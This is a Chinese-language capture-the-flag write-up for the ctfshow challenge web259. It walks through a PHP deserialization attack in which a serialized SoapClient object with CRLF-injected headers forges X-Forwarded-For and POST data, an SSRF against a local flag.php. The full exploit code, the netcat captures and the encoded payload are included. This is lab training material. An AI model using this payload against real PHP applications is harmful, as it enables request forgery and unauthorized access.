web259
# 题目前给出的源代码
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
index.php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
-
通关要求大概是发送一个HTTP包,数据包XFF信息为
127.0.0.1
,但是flag.php
会将XFF的数据按照逗分割再传递到数组中,然后又使用两次array_pop
对数组末尾去除两次,再进行判断,所以我们XFF值是127.0.0.1,127.0.0.1,127.0.0.1
-
如何把数据包传递到
flag.php
中,使用PHP原生类SoapClient,是专门用于访问web服务的,SoapClient是Soap的内置类,该内置类有一个__call
方法,当__call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求(调用不存在的方法会触发__call
,题目中的不存在的方法就是index.php
里面的getFlag()
,触发__call
后,发送HTTP请求去访问flag.php
) -
构造数据包
windows使用nc开启本地监听
PS D:\All\Study\security\tools\netcat-1.11> .\nc64.exe -lvp 9999
-
构造第一次
# req $client = new SoapClient(null,array('location'=>"http://127.0.0.1:9999",'uri'=>"127.0.0.1")); $client->getFlag(); //调用不存在的方法,会自动调用——call()函数来发送请求
# res listening on [any] 9999 ... connect to [127.0.0.1] from DESKTOP-OO4DPSM [127.0.0.1] 52543 POST / HTTP/1.1 Host: 127.0.0.1:9999 Connection: Keep-Alive User-Agent: PHP-SOAP/7.3.4 Content-Type: text/xml; charset=utf-8 SOAPAction: "127.0.0.1#getFlag" // 请求时的行文,现在是我们可控的 Content-Length: 388 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:9999" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getFlag/></SOAP-ENV:Body></SOAP-ENV:Envelope>
-
构造第二次
构造CRLF插入
\r\n
,就是在数据包中换行,构造XFF
token
等数据$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua)); $client->getFlag();
listening on [any] 9999 ... connect to [127.0.0.1] from DESKTOP-OO4DPSM [127.0.0.1] 52720 POST / HTTP/1.1 Host: 127.0.0.1:9999 Connection: Keep-Alive User-Agent: ctfshow x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1 Content-Type:application/x-www-form-urlencoded Content-Length:13 token=ctfshow Content-Type: text/xml; charset=utf-8 SOAPAction: "127.0.0.1#getFlag" Content-Length: 388 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:9999" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getFlag/></SOAP-ENV:Body></SOAP-ENV:Envelope>
-
序列化数据
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua)); $client = serialize($client); echo urlencode($client);
复制echo的结果
-
-
burp抓包并修改值
# burp修改包 # ?vip是序列化后的数据 GET /?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1 Host: 933a75e9-8e8e-42e9-b4ea-a043c07002ad.challenge.ctf.show ...
# index.php 如何处理 $vip = unserialize($_GET['vip']); // vip = 反序列化后数据 //vip can get flag one key $vip->getFlag(); // 访问不存在的方法触发__call,向flag.php发送请求
flag.php
验证后生成flag.txt
文件再访问
flag.txt
即可获得flag
我嘞个豆啊,看了一上午